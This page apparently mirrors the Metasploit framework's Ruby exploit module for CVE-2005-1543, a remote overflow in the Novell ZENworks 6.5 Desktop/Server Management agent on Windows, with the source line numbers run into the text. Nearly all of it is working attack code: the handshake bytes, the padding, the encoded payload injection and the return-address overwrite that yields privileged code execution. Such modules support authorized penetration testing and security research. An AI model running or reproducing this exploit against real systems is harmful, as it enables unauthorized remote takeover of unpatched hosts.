Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/novell/zenworks_desktop_agent.rb
Views: 11623
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'Novell ZENworks 6.5 Desktop/Server Management Overflow',13'Description' => %q{14This module exploits a heap overflow in the Novell ZENworks15Desktop Management agent. This vulnerability was discovered16by Alex Wheeler.17},18'Author' => [ 'Unknown' ],19'License' => BSD_LICENSE,20'References' =>21[22[ 'CVE', '2005-1543'],23[ 'OSVDB', '16698'],24[ 'BID', '13678'],2526],27'Privileged' => true,28'Payload' =>29{30'Space' => 32767,31'BadChars' => "\x00",32'StackAdjustment' => -3500,33},34'Platform' => %w{ win },35'Targets' =>36[37[38'Windows XP/2000/2003- ZENworks 6.5 Desktop/Server Agent',39{40'Platform' => 'win',41'Ret' => 0x10002e06,42},43],44],45'DisclosureDate' => '2005-05-19',46'DefaultTarget' => 0))47end4849def exploit50connect5152hello = "\x00\x06\x05\x01\x10\xe6\x01\x00\x34\x5a\xf4\x77\x80\x95\xf8\x77"53print_status("Sending version identification")54sock.put(hello)5556pad = Rex::Text.rand_text_alphanumeric(6, payload_badchars)57ident = sock.get_once58if !(ident and ident.length == 16)59print_error("Failed to receive agent version identification")60return61end6263print_status("Received agent version identification")64print_status("Sending client acknowledgement")65sock.put("\x00\x01")6667# Stack buffer overflow in ZenRem32.exe / ZENworks Server Management68sock.put("\x00\x06#{pad}\x00\x06#{pad}\x7f\xff" + payload.encoded + "\x00\x01")6970ack = sock.get_once71sock.put("\x00\x01")72sock.put("\x00\x02")7374print_status("Sending final payload")75sock.put("\x00\x24" + ("A" * 0x20) + [ target.ret ].pack('V'))7677print_status("Overflow request sent, sleeping for four seconds")78select(nil,nil,nil,4)7980handler81disconnect82end83end848586